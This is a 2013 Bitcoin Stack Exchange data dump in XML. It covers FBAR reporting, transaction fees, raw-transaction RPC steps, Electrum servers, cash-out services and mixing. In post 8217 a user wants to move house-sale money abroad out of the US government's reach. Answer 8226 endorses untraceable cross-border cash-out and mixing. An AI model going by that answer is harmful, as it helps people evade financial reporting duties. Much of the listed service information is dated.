ContentLicense="CC BY-SA 3.0" />
  <row Id="8207" PostTypeId="2" ParentId="8193" CreationDate="2013-03-07T11:32:05.283" Score="1" Body="&lt;p&gt;While bitcoin may seem to be useful as an offshore bank account, it likely won't be subject to the FBAR reporting requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you have fiat (e.g., USD) funds at an exchange that is not in your own country (e.g., Mt. Gox) and those funds exceed $10,000 worth then possibly that could be something where an FBAR filing might be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So having $10K or more at an exchange might be reportable but having $10K worth of bitcoins may or may not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;a href=&quot;http://bitcointalk.org/index.php?topic=55260.msg754072#msg754072&quot; rel=&quot;nofollow&quot;&gt;excerpt&lt;/a&gt; from someone who studies this topic:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The critical issue is whether a wallet constitutes a financial account&#xA;  and if a wallet constitutes a financial account then what constitutes&#xA;  signature authority?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-07T11:32:05.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8208" PostTypeId="2" ParentId="1181" CreationDate="2013-03-07T12:27:01.697" Score="2" Body="&lt;p&gt;This should not be just a comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinity.org/markets&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinity.org/markets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-03-07T12:27:01.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8209" PostTypeId="2" ParentId="8205" CreationDate="2013-03-07T12:51:05.947" Score="4" Body="&lt;p&gt;But what if you really needed to pay someone a fraction of a transaction fee? Bitcoin is indiscriminatory in that regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, most transactions have two outputs, one crediting whoever you send your transaction to, and one crediting you back. It is quite easy to send the same small amount transactions to someone while still appearing to be sending a large amount of money in total (the remainder would be sent back to you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can enforce arbitrarily low or high transaction fees and modify their software to exclude any and all transactions they don't like (for example, I have heard Luke-Jr's pool does not process SatoshiDice's transaction at all). In the end, it is the will of the people and the miners that will determine the correct fees and rules, not some fixed mandate.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-07T12:51:05.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8210" PostTypeId="2" ParentId="5508" CreationDate="2013-03-07T12:56:45.740" Score="3" Body="&lt;p&gt;I am assuming you want to accomplish something akin to what SatoshiDice does. Here is how it can be done, using API calls with the Bitcoin-Qt/bitcoind client:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;listunspent&lt;/code&gt; - you get the list of all unspent transactions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You determine which ones you want to spend&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You use &lt;code&gt;createrawtransaction&lt;/code&gt; to create your inputs / outputs, taking &lt;code&gt;txid&lt;/code&gt; and &lt;code&gt;vout&lt;/code&gt; from the list of transactions that you have that are playing, as well as a list of transactions that constitute a &quot;money supply&quot; for you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;signrawtransaction&lt;/code&gt; to sign the created transaction&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;sendrawtransaction&lt;/code&gt; to send the signed transaction&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That should be pretty much it. I have implemented some of that code myself and it is pretty easy once you get a hang of it all.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="153" LastEditDate="2013-03-18T17:47:18.947" LastActivityDate="2013-03-18T17:47:18.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8211" PostTypeId="2" ParentId="5054" CreationDate="2013-03-07T12:58:29.500" Score="1" Body="&lt;p&gt;There most likely isn't any hard limit - you might only be limited by your computer's memory (and even then, that would require tons of addresses).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-07T12:58:29.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8212" PostTypeId="1" AcceptedAnswerId="8218" CreationDate="2013-03-07T13:29:03.880" Score="3" ViewCount="227" Body="&lt;p&gt;I was just about to pay for something with Bitcoins today and I hesitated for an instant thinking that the price might be $10 more next week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that Bitcoin holders will be less likely to spend their Bitcoins on actual goods or services given the wild increase in prices? Or if the prices suddenly start to drop, will people be more likely to spend their Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-03-07T21:33:03.047" Title="Effect of price increase on usage of Bitcoin" Tags="|exchange-rate|spending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8213" PostTypeId="2" ParentId="8182" CreationDate="2013-03-07T13:58:20.573" Score="1" Body="&lt;p&gt;I have found the cause:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had GUIMiner to start on startup, and even though I was stopping it before I'd try to use CGMiner or Reaper, it did something to the drivers and would prevent LTC mining from starting correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a similar problem to this, try to disable GUIMiner on startup.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2013-03-07T13:58:20.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8214" PostTypeId="1" AcceptedAnswerId="8215" CreationDate="2013-03-07T15:48:13.870" Score="9" ViewCount="1713" Body="&lt;p&gt;Lets say I wanted to use an electrum client but I'm so paranoid and also can't or won't read and understand python code so that I only trust my own server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What security considerations should I have in mind? eg: Do I need to add any encryption to the filesystem to protect the wallets that are being served? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you gain security by validating with other servers? Given extreme levels of paranoia should you even trust other servers?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-03-07T16:51:02.973" Title="What are the security considerations for hosting *your own* Electrum server?" Tags="|security|electrum|data-security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8215" PostTypeId="2" ParentId="8214" CreationDate="2013-03-07T16:51:02.973" Score="6" Body="&lt;p&gt;Electrum servers don't save any private information. All they do is create an interface to a bitcoind instance that is exposed in such a way the Electrum client, which stores the important and private data, can read it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only 'evil' thing an Electrum server could do is lying about certain transactions, feeding you misinformation. When you run your own server this is the only thing you will gain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encryption won't be needed, but is a good practice overall. No wallets will be saved on the server, except the wallet from Bitcoind. This wallet however will always be empty. &lt;/p&gt;&#xA;" OwnerUserId="3211" LastActivityDate="2013-03-07T16:51:02.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8217" PostTypeId="1" CreationDate="2013-03-07T19:31:06.487" Score="-1" ViewCount="224" Body="&lt;p&gt;Suppose I sell my house and get a pile of cash. The USA government wants to get some or all of my money if I try to move it to another country. That's not fair. It's mine and I already worked for it and paid income tax on it. I want ALL of my home money. Can I put it into bitcoin in the USA and visit Nicaragua and get my money out a bit at a time, as needed, there?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2306" LastEditDate="2013-03-07T19:48:04.050" LastActivityDate="2013-03-07T21:56:38.877" Title="How do I get my cash back into dollars in Nicaraua?" Tags="|trade|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-11T12:19:44.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="8218" PostTypeId="2" ParentId="8212" CreationDate="2013-03-07T19:44:25.827" Score="3" Body="&lt;p&gt;Both inflation and deflation are bad for currencies, because they cause people to make decisions that don't really make sense.&lt;/p&gt;&#xA;&lt;p&gt;Let me give you two examples. I sell toasters for bitcoin; you have bitcoin.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Inflation: You know that the price of toasters in bitcoins is going to go up, so you start buying toasters in bulk. You didn't really want all of these toasters, but at least your money isn't going to go down in value.&lt;/p&gt;&#xA;&lt;p&gt;Looked at from your perspective, what you did makes complete sense; From a societal perspective though, nothing was gained through this transaction.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deflation: You really want a toaster, but you know the value of bitcoin is going to double next week, so you hang on to your money. This sucks, because microwaving your bread just isn't the same.&lt;/p&gt;&#xA;&lt;p&gt;Again, from your perspective, what you did makes complete sense. But from a societal perspective, it doesn't.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And that's how inflation and deflation - or even the threat of it - can damage an economy.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-03-07T19:44:25.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8219" PostTypeId="1" CreationDate="2013-03-07T20:06:14.517" Score="0" ViewCount="415" Body="&lt;p&gt;I am new to bitcoins, but as I understand the technology:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;All transactions must be downloaded to the client machine (say, Grandma's Windows XP machine from 2003)&lt;/li&gt;&#xA;&lt;li&gt;New transactions are also sent to all clients&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 1 billion people adopted Bitcoin as their primary currency, and performed an average of 1 transaction per day each, this would be &lt;em&gt;11,000 transactions per second every day&lt;/em&gt; on Grandma's Windows XP machine.  I think it would catch fire!&lt;/p&gt;&#xA;" OwnerUserId="3216" LastActivityDate="2013-03-08T00:54:59.073" Title="Why will or will not the bitcoin infrastructure become unsustainable?" Tags="|client|scalability|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8220" PostTypeId="2" ParentId="8198" CreationDate="2013-03-07T20:45:10.303" Score="4" Body="&lt;p&gt;I wanted to do a similar thing to put all the transactions in the database (it was PostgreSQL for me, but you can use anything). After some research ended up using &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;bitcoin abe&lt;/a&gt; and it worked great for me. Be patient though, it does take a long time - was several days in my case.&lt;/p&gt;&#xA;" OwnerUserId="3136" LastEditorUserId="3136" LastEditDate="2013-03-07T21:12:20.497" LastActivityDate="2013-03-07T21:12:20.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8221" PostTypeId="2" ParentId="8187" CreationDate="2013-03-07T20:50:32.263" Score="2" Body="&lt;p&gt;(2) is the correct answer, the exchange will match the buy order with the lowest sell orders. This is the case with mtgox. Other exchanges &lt;em&gt;should&lt;/em&gt; do the same, however it is up to them, hard to give a general answer here, need to look at each one case by case&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(4) is specifically NOT true in case of mtgox because they do not act as counter party to any transaction. Not sure about any other exchange, because they all have their own policies.&lt;/p&gt;&#xA;" OwnerUserId="3136" LastEditorUserId="3136" LastEditDate="2013-03-07T21:00:56.517" LastActivityDate="2013-03-07T21:00:56.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8222" PostTypeId="1" CreationDate="2013-03-07T21:12:40.903" Score="4" ViewCount="49412" Body="&lt;p&gt;Does anyone know the best way to change bitcoins into pounds (GBP), then do a bank transfer or paypal transfer? I've found some, but they take a week.&lt;/p&gt;&#xA;" OwnerUserId="3217" LastEditorUserId="2306" LastEditDate="2013-03-07T21:48:56.487" LastActivityDate="2015-04-17T08:00:00.750" Title="How do I transfer bitcoins into a United Kingdom bank account?" Tags="|buy-bitcoins|sell-bitcoins|wire-transfers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8224" PostTypeId="2" ParentId="8212" CreationDate="2013-03-07T21:33:03.047" Score="0" Body="&lt;p&gt;A rising exchange rate increases the purchasing power of those holding bitcoins.   This creates a wealth effect for some of those holding bitcoins.  And thus instead of being frugal the increase in perceived wealth may be the catalyst for making purchases that previously might not have occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the rising exchange rate may cause some investors to desire to diversify their wealth so they may spend their coins for other investments, such as bullion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Volatility makes a merchant be less willing to hold the proceeds of a sale as bitcoins since by the time those coins are used to pay for purchases, salaries, etc, then losses could be incurred.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-07T21:33:03.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8225" PostTypeId="2" ParentId="8222" CreationDate="2013-03-07T21:45:52.660" Score="1" Body="&lt;p&gt;The factors that matter for any cash-out decision are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where are you located (country)? (you mention UK)&lt;/li&gt;&#xA;&lt;li&gt;How much are you looking to trade?&lt;/li&gt;&#xA;&lt;li&gt;What type of cash are you looking to receive? (you mention bank transfer or PayPal)&lt;/li&gt;&#xA;&lt;li&gt;How soon do you need access to the proceeds?&lt;/li&gt;&#xA;&lt;li&gt;Is privacy important?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Specifically for cash-out to PayPal, options include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.FastCash4Bitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.FastCash4Bitcoins.com&lt;/a&gt; (among the lowest fees, funds not always available though)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.VirWoX.com&quot; rel=&quot;nofollow&quot;&gt;http://www.VirWoX.com&lt;/a&gt; (BTC --&gt; SLL, SLL --&gt; USD)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BitBargain is probably your best method:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbargain.co.uk&quot; rel=&quot;nofollow&quot;&gt;https://bitbargain.co.uk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or, of course, you have many local cash out methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://localbitcoins.com/postal_code/uk/london/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/postal_code/uk/london/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And there are local traders who will buy your coins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?action=profile;u=65105&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?action=profile;u=65105&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=130949.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=130949.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might be able to find someone willing to trade over-the-counter (OTC) but you only want to do this with a trusted counterparty.  The #bitcoin-otc marketplace's Web of Trust (WoT) will help as it has a trust history.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Bitcoin-OTC.com&quot; rel=&quot;nofollow&quot;&gt;http://www.Bitcoin-OTC.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://webchat.freenode.net/?channels=#bitcoin-otc-foyer&quot; rel=&quot;nofollow&quot;&gt;http://webchat.freenode.net/?channels=#bitcoin-otc-foyer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://webchat.freenode.net/?channels=#bitcoin-otc-uk&quot; rel=&quot;nofollow&quot;&gt;http://webchat.freenode.net/?channels=#bitcoin-otc-uk&lt;/a&gt;  &amp;lt;-- Specific to UK&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are more cash-out options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-07T21:57:45.677" LastActivityDate="2013-03-07T21:57:45.677" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8226" PostTypeId="2" ParentId="8217" CreationDate="2013-03-07T21:56:38.877" Score="2" Body="&lt;p&gt;Bitcoin has no concept of borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many trades in which the buyer doesn't know the seller and vice-versa (or both, like in a dead drop where neither knows anything about the other).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is entirely plausible to cash out bitcoins in a foreign country without any other parties other than you and the seller knowing about the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example describes where you have a &quot;pile of cash&quot;.  It doesn't matter if the cash is from the proceeds after selling a house or whatever, those funds can be converted to bitcoins in any number of ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, bitcoin is like cash, and can be traded for cash.  Where it differs from cash is that it can be transported across borders physically, electronically, or in no form other than words you &lt;a href=&quot;http://brainwallet.org/#generator&quot; rel=&quot;nofollow&quot;&gt;keep in your brain&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because bitcoin transactions are traceable, those preferring to transact privately can employ method called &quot;mixing&quot;.  This gives bitcoin user-defined anonymity.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-07T21:56:38.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8227" PostTypeId="1" CreationDate="2013-03-07T23:07:01.253" Score="2" ViewCount="1494" Body="&lt;p&gt;I'm new here and I saw one can buy them e.g. in Germany at bitcoin.de via an online transaction, by paying Euros. Is the same possible in Romania (do you need a €-bank account for that?) and if so, is there some (online) exchange service best suited for that?&lt;/p&gt;&#xA;" OwnerUserId="3221" LastEditorUserId="196" LastEditDate="2013-03-11T13:04:16.567" LastActivityDate="2018-02-08T13:50:01.810" Title="Can I buy Bitcoins in Romania and if yes, where?" Tags="|buy-bitcoins|europe|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8228" PostTypeId="1" CreationDate="2013-03-07T23:40:22.440" Score="4" ViewCount="5146" Body="&lt;p&gt;I was looking thru Block explorer at an address with a balance.  It has never been spent from thus the public key is unknown.  If the public key is unknown, how can Block explorer calculate the hash160 of the public key?&lt;/p&gt;&#xA;" OwnerUserId="3125" LastEditorUserId="38618" LastEditDate="2016-08-15T23:50:13.210" LastActivityDate="2016-08-15T23:50:13.210" Title="How is hash160 calculated from an unseen public key?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8229" PostTypeId="2" ParentId="8228" CreationDate="2013-03-08T00:00:16.957" Score="9" Body="&lt;p&gt;Because an address &lt;strong&gt;is&lt;/strong&gt; the Hash160 (=RIPEMD160(SHA256(x))) of the public key. The transaction output lists that 160-bit hash directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When redeeming such an output, you provide both the public key (which must hash to the value given in the output) and a signature (which must be valid for the given public key).&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-03-10T16:13:16.957" LastActivityDate="2013-03-10T16:13:16.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8230" PostTypeId="2" ParentId="8227" CreationDate="2013-03-08T00:15:56.213" Score="2" Body="&lt;p&gt;There are no exchanges yet that accept RON (Romanian Leu).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are individuals in Romania who trade bitcoins for face-to-face cash trade:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://localbitcoins.com/country/RO&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/country/RO&lt;/a&gt; &amp;lt;-- But be careful of the listings who are not local, wanting to trade online instead.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also there is the #Bitcoin-otc marketplace and the #bitcoin-otc-eu IRC channel in which you might find someone willing to trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to purchase UKash vouchers with cash, there are several services such as Mercabit.eu, VirWoX, and Bitcoin Nordic who will accept that voucher for the purchase of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you have the ability to send a SEPA transfer, there are many exchanges you can use, include BITSTAMP:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-08T00:15:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8231" PostTypeId="2" ParentId="8219" CreationDate="2013-03-08T00:54:59.073" Score="2" Body="&lt;p&gt;I will let Satoshi Nakamoto answer this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Long before the network gets anywhere near as large as that, it would&#xA;  be safe  for users to use Simplified Payment Verification (section 8)&#xA;  to check for  double spending, which only requires having the chain of&#xA;  block headers, or  about 12KB per day.  Only people trying to create&#xA;  new coins would need to run  network nodes.  At first, most users&#xA;  would run network nodes, but as the  network grows beyond a certain&#xA;  point, it would be left more and more to  specialists with server&#xA;  farms of specialized hardware.  A server farm would  only need to have&#xA;  one node on the network and the rest of the LAN connects with  that&#xA;  one node.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The bandwidth might not be as prohibitive as you think.  A typical&#xA;  transaction  would be about 400 bytes (ECC is nicely compact).  Each&#xA;  transaction has to be  broadcast twice, so lets say 1KB per&#xA;  transaction.  Visa processed 37 billion  transactions in FY2008, or an&#xA;  average of 100 million transactions per day.   That many transactions&#xA;  would take 100GB of bandwidth, or the size of 12 DVD or  2 HD quality&#xA;  movies, or about $18 worth of bandwidth at current prices.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the network were to get that big, it would take several years, and&#xA;  by then,  sending 2 HD movies over the Internet would probably not&#xA;  seem like a big deal. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Satoshi Nakamoto&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09964.html&quot; rel=&quot;nofollow&quot;&gt;http://www.mail-archive.com/cryptography@metzdowd.com/msg09964.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-08T00:54:59.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8232" PostTypeId="1" CreationDate="2013-03-08T01:07:51.593" Score="7" ViewCount="8117" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/wallet&quot;&gt;Blockchain&lt;/a&gt; provides a mixing service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does it work?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="153" LastEditDate="2013-03-08T01:18:17.027" LastActivityDate="2017-01-14T08:08:07.600" Title="How does blockchain.info's mixing service work?" Tags="|blockchain.info|money-laundering|mixing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8233" PostTypeId="2" ParentId="8232" CreationDate="2013-03-08T01:37:07.390" Score="2" Body="&lt;p&gt;Their &lt;a href=&quot;https://blockchain.info/wallet/send-shared&quot; rel=&quot;nofollow noreferrer&quot;&gt;shared sending&lt;/a&gt; feature simply combines payments from multiple users making it very difficult to know which funding inputs (Bitcoin addresses) were used to pay which outputs (Addresses being paid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it like collecting money at the office to pay for a coffee run.   Five people are buying coffee, each costing $3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob puts in a $5, for a latte&#xA;Alice puts in $3, for an espresso&#xA;Carolyn puts in $10 for a cappucino&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A driver goes to the coffee shop, the bill totals $9, so the $10 bill is handed over and given out is a cappucino, an espresso and a latte.  A $1 of change is given back to the driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back at the office the driver gives bob the $1 from the coffee shop plus a $1 that was received from Alice.  The driver gives Caroylyn the $5 that came from Bob and two $1s that came from Alice.  Each person gets their coffee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's actually a very weak example but it shows a real world example of how shared spending &quot;mixes&quot;.  It might look like Bob didn't buy coffee from the store, but instead it looks like he bought it from Carolyn. And it looks like Alice bought from both Bob and Carolyn.  But none of that is how it actually occurred because the funds were combined prior to making the purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/guW7Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the coins mixed in are those arriving for on-time use address in which the Blockchain wallet user has clicked the &quot;New Shared Address&quot; option under Receive money.  The amounts received will incur a fee.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-08T01:42:37.603" LastActivityDate="2013-03-08T01:42:37.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8234" PostTypeId="1" CreationDate="2013-03-08T06:45:09.943" Score="5" ViewCount="1484" Body="&lt;p&gt;What would be the best way to start writing a script to automatically run a bitcoind server on an Ubuntu startup, make regular backups and restart from a backup on error. Would this normally be done through a cron job?&lt;/p&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2013-05-13T01:25:25.177" Title="How to run a bitcoin server with automatic restart and backup?" Tags="|bitcoind|ubuntu|linux|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8235" PostTypeId="1" AcceptedAnswerId="8248" CreationDate="2013-03-08T08:16:21.440" Score="11" ViewCount="3920" Body="&lt;p&gt;I read about Input and output scripts on the wiki here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say, I use my Bitcoin - QT Program, I go to &quot;Send Coins&quot; tab, enter a Bitcoin Address, BTC amount and then click Send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the output script generated by my program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an output script, we need the Value, The destination Address and the scriptPubKey. My client program has all this data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptPubKey refers to Public Key of? My public key or the person I intend to send the Bitcoins to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now, once the output script is formed, is it broadcast over the Bitcoin Network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the Input Script come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the scriptSig in Input Script refers to the Public Key and Signature of whom?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am sending Bitcoins to a Bitcoin Address, the input Script is automatically generated by what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the wiki gives details about Input Script and output Script, I was unable to correlate it to a real time scenario where one person sends BTC to another.&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2013-03-09T07:41:07.633" Title="How is the Output script formed?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8236" PostTypeId="1" CreationDate="2013-03-08T12:07:03.593" Score="11" ViewCount="1491" Body="&lt;p&gt;Is there one person or organization that controls Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if Gavin Andresen, the lead developer, or Bitcoin Foundation, &quot;the official bitcoin organization&quot;, decide to change something? What if they release a new version of the software that changes the coin limit, or enforce government regulation?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2017-06-17T22:55:50.863" LastActivityDate="2017-06-17T22:55:50.863" Title="Do &quot;the official bitcoin developers&quot; control Bitcoin?" Tags="|bitcoin-core-development|consensus|governance|bitcoin-foundation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
